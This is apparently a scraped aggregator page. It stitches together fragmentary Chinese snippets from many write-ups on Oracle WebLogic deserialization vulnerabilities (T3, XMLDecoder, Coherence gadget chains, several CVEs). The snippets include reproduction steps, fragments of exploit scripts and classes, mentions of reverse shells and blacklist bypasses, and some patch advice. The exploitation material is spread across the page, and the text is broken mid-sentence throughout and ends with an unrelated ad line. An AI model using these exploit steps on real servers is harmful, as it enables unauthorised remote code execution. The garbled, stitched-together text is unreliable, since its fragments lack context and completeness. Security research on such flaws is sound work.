01 背景 Oracle官方在修补老的Weblogic反序列化漏洞时,将已经在互联网上暴露的PoC都加入了黑名单,所以若是绕过他的黑名单限制就依旧可以触发命令执行。...接下来我们简单分析一下本次漏洞的成因,具体的weblogic反序列化漏洞原理这里不做具体分析,之后可以分享一次专题。...其实核心部分就是JRMP(Java Remote Methodprotocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的...02 PoC重构 由于互联网上公开的poc,是通过服务器向rmi远程服务器获取命令执行代码从而执行命令并通过t3协议的回报告诉我们是否存在漏洞。...但是这样的poc有很明显存在不能控制权限的问题。
先引用一下奇安信团队发出的weblogic历史漏洞图,可以发现以反序列化为主,反序列化问题主要来自XMLDecoder和T3协议 image.png T3协议 weblogic t3协议就是weblogic...jdk1.7,weblogic10.3.6.0 用cc链1,3,6都能打。 这个洞可以说是weblogic反序列化漏洞的源头了。...这个方法的作用是类的序列化描述符加工成该类的Class对象,很多针对反序列化Gadget的拦截都是通过重写此方法完成的(如通过黑名单来禁止某类反序列化) 贴上一张廖师傅的博客的反序列化攻击时序图: 可以看到反序列化拦截位置除了...CVE-2017-3506&CVE-2017-10271 影响范围 WebLogic 10.3.6.0 WebLogic 12.1.3.0 WebLogic 12.2.1.0 WebLogic 12.2.1.1...WebLogic 12.2.1.2 该漏洞利用weblogic的wls-wsat组件对XML用XMLDecoder进行解析的功能,从而对其传入恶意XML数据造成反序列化攻击。
Weblogic反序列化漏洞大致是通过T3、IIOP协议发送一个序列化数据包,相关类只要不在weblogic黑名单中,服务器就反序列化恶意代码执行攻击语句。...同样,这个序列化数据包用shiro组件来处理,只要中间件是weblogic,也应该能反序列化成功。而且通过构造的反序列化数据包不通过T3、IIOP流程,也许还不受Weblogic黑名单的限制。...反序列化利用链的选择 Weblogic的Coherence组件反序列化漏洞的POC有好几个,主要包括CVE-2020-2555、CVE-2020-2883、CVE-2020-14756、CVE-2021...工具来生成shiro反序列化的poc。...如果使用weblogic利用链打不成功,那可能是目标weblogic更新了补丁,需要换一个较新的POC,实在不行,如果服务器的JDK版本低于1.8.191,可以用jndi出网的方法反弹shell。
受影响版本 Weblogic Server 10.3.6.0.0 Weblogic Server 12.1.3.0.0 Weblogic Server 12.2.1.3.0 Weblogic Server...12.2.1.4.0 Weblogic Server 14.1.1.0.0 官方已发布更新最新补丁 https://www.oracle.com/security-alerts/cpujan2021.
这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过JRMP协议(Java Remote...Messaging Protocol:java远程消息交换协议)达到执行任意反序列化payload的目的。...影响版本 Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2.1.3 漏洞复现 1.靶机环境搭建 用docker拉取靶机镜像...docker pull vulhub/weblogic:10.3.6.0-2017 注:镜像2G+,记得换源等操作。...创建启动靶机容器 docker run -d -p 5003:7001 vulhub/weblogic:10.3.6.0-2017 注:5003为外部映射端口,可自定义 2.漏洞检测利用 反弹shell
Step 9:在我们的攻击主机中再次执行载荷发现已经无效了(此处的test.ser为通过ysoserial生成的cc1链calc序列化数据文件) python2 weblogic_t3.py 192.168.174.144...,之后再通过调用readObject()方法进行反序列化的数据的读取,这样一来我们就可以反序列化,CVE-2016-0638正是基于这样的思路找到了weblogic.jms.common.StreamMessageImpl...,下面进行详细分析~ 漏洞原理 该漏洞实现反序列化的思路是将反序列化的对象封装进weblogic.corba.utils.MarshalledObject,然后再对MarshalledObject进行序列化...,生成payload字节码,反序列化时MarshalledObject不在WebLogic黑名单中,所以可正常进行反序列化,而在反序列化时MarshalledObject对象再调用readObject时对...MarshalledObject封装的序列化对象再次反序列化,从而逃过了黑名单的检查。
参考 Weblogic-SSRF漏洞复现 Weblogic-反序列化漏洞 漏洞简介 Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。...该漏洞通过T3协议发送恶意的反序列化数据绕过了Weblogic的黑名单,成功反序列化执行任意命令。但该漏洞利用条件较高,官方也归类为需要身份认证。...运行Poc.java生成poc.ser序列化文件。...最后在攻击机中运行以下命令: $ python weblogic.py poc.ser ? ?...修复建议 如果不依赖T3协议进行JVM通信,可禁用T3协议 排查弱口令 升级补丁 参考 WebLogic 反序列化漏洞(CVE-2019-2890)分析 Weblogic t3反序列化漏洞(CVE-2019
ac ed 00 05是java序列化内容的特征,漏洞挖掘人员通常对 weblogic 在 7001 端口的 T3 协议进行抓包,发现流量中有 java 反序列化之后数据的 Magic ac ed 00...4、Weblogic反序列化漏洞汇总 Weblogic反序列化高危漏洞主要涉及到两个种类: 1、利用xml decoded反序列化进行远程代码执行的漏洞,例如: CVE-2017-10271,CVE-2017...图中红框内的代码是限制CVE-2017-3506漏洞利用的黑名单,这次补丁修补得非常的简陋,仅仅是根据POC中的object标签进行了修补,所以很快就出现了CVE-2017-10271漏洞。...CVE-2017-10271的POC与CVE-2017-3506的POC很相似,只是将object标签换成了array或void等标签,即可触发远程代码执行漏洞。...漏洞验证 分析: https://security.tencent.com/index.php/blog/msg/97 Poc: https://github.com/fjserna/CVE-2015-
ELEMENT data (#PCDATA)> ]> 4 运行PoC,生成的反序列化数据xxe,使用十六进制查看器打开: 发现DOCTYPE无法被引入 我尝试了下面几种方法...首先复制出Weblogic的modules文件夹与wlserver_10.3\server\lib文件夹到另一个目录,将wlserver_10.3\server\lib\weblogic.jar解压,将...ENTITY % send SYSTEM 'ftp://127.0.0.1:2121/%file;'>" > %all; 运行PoC生成反序列化数据,测下发现请求都接收不到了......所以我尝试修改了十六进制如下,使得xml修改成没有被解析的形式: 运行PoC测试下, 居然成功了,一开始以为反序列化生成的xml数据那块还会进行校验,不然反序列化不了,直接修改数据是不行的,没想到直接修改就可以了...测试下(生成的步骤与第一个漏洞点一样),使用T3协议脚本向WebLogic 7001端口发送序列化数据: WsrmSequenceContext 漏洞点分析 这个类看似需要构造的东西挺多的,readExternal
简介 通过diff 升级包中weblogic的黑名单,我们发现新增oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor...MethodAttributeAccessor中getAttributeValueFromObject函数缺点在于,只能执行无参的函数,从这点来看,我们很容易的与七月份 cve-2020-14645 联想起来 所以照猫画虎 poc...如下 POC // JdbcRowSetImpl JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName
Exception:{}'.format(str(e))) return Falsedef poc(url,cmd): x = payloadtest() return x.check...(url, cmd,20)if __name__ == '__main__': parser = argparse.ArgumentParser(description='Weblogic cve...\n[*] Examples python cve-2020-2883_cmd.py -u http://127.0.0.1:7001 -c calc') poc(args.url, args.cmd
该反序列化的gadget存在与coherence包中。编号CVE-2020-14645。 构造chain类似于common-collection的chain,可以照葫芦画瓢。...反序列化的对象,通过t3发送给weblogic即可。所以,这个只是生成payload的工具。...0x05 漏洞复现 目标192.168.132.171:7001 payload public class exp{ // POC open calc public exp(){...); } } public static void main(String[] argv){ exp e = new exp(); } } 编译poc...javac poc.java 使用python启动http服务器,并将poc.class放入站点根目录(我这边指定5001端口) python3 -m http.server 5001 ?
1 漏洞描述 近日,互联网爆出WebLogicwls9-async反序列化远程命令执行漏洞。攻击者利用该漏洞,可在未授权的情况下远程执行命令。该漏洞危害程度为高危(High)。...漏洞原理 该漏洞存在于wls9-async组件,该组件为异步通讯服务,攻击者可以在/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时...该请求返回200 则存在,返回404则不存在 发送构造的POC ? ?...只能打未安装补丁的版本 但是由于这个poc和2017年的一样 去年的Weblogic补丁已经把这几个标签补了,打了补丁的已经不能生成java实例了 但是没有打补丁的还是可以测试的 参考下面这个文章即可...WebLogic XMLDecoder反序列化漏洞 http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%
影响范围 Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.3.0...Oracle WebLogic Server 12.2.1.4.0 漏洞概述 2020年4月Oracle官方发布关键补丁更新公告CPU(Critical Patch Update),其中曝出两个针对WebLogic...,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。...之后序列化生成载荷: ? 之后发送T3请求到服务端之后成功执行命令: ?...之后序列化生成载荷: ? 之后发送T3请求到服务端之后成功执行命令: ?
与CVE-2019-2725漏洞相似,CVE-2019-2729漏洞是由于应用在处理反序列化输入信息时存在缺陷,攻击者可以通过发送精心构造的恶意HTTP请求,用于获得目标服务器的权限,并在未授权的情况下执行远程命令
0x05 漏洞复现 1、编译poc文件并通过python部署在http服务器,poc文件如下: public class exp{ // POC open calc public exp...文件生成反序列化数据文件,通过t3协议传输 payload 文件见: https://github.com/rufherg/WebLogic_Basic_Poc/blob/master/poc/CVE..._2020_14825.java python T3 脚本见: https://github.com/rufherg/WebLogic_Basic_Poc ?...至此,我们可以通过反序列化已经可以调用任意类的无参方法。很容易联想到 CVE-2020-14645 和 fastjson 的利用方式,即通过JdbcRowSetImpl进行 JNDI 注入。...www.oracle.com/security-alerts/cpuoct2020.html https://github.com/mbechler/marshalsec https://github.com/rufherg/WebLogic_Basic_Poc
基于代码的漏洞介绍:CVE-2020-2555主要源于在coherence.jar存在着用于gadget构造的类(反序列化构造类),并且利用weblogic默认存在的T3协议进行传输和解析进而导致weblogic...weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。...•第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。...根据堆栈信息,Weblogic收到POC的数据后,对其进行分发后对T3的数据段部分进行了反序列化还原操作,进而产生了该漏洞的入口。...POC逻辑 在POC构造上,先初始化JDBC对象,设置this.m_sName参数为getDatabaseMetaData() JdbcRowSetImpl rowSet = new JdbcRowSetImpl
编者说明:这篇文章初稿写在Oracle CPU补丁发布之后,考虑到文章内容的影响,并未在当时发布,WebLogic 的 Java 反序列化漏洞,已经修复了多次,最终的修复仍然未彻底解决问题。...背景 当地时间4月17日,北京时间4月18日凌晨,Oracle官方如约发布了4月份的关键补丁更新(Critical Patch Update,简称:CPU),其中包含一个高危的Weblogic反序列化漏洞...CVE-2018-2628漏洞POC测试 4月18日一大早看到了绿盟发的通知,里面有poc和exp的演示过程: ?...Oracle发布的多个WebLogic反序列化漏洞补丁反复被绕过,这都源于Oracle当年修复CVE-2015-4852那个轰动一时的Java反序列化漏洞时采用的黑名单方式。 ?...CVE-2018-2628漏洞利用方式分析 从POC测试用例来看,CVE-2018-2628漏洞可被利用主要暴漏出了两方面的问题: ①基于WebLogic t3(s)、RMI/JRMP协议来执行存在反序列化漏洞的
领取专属 10元无门槛券
手把手带您无忧上云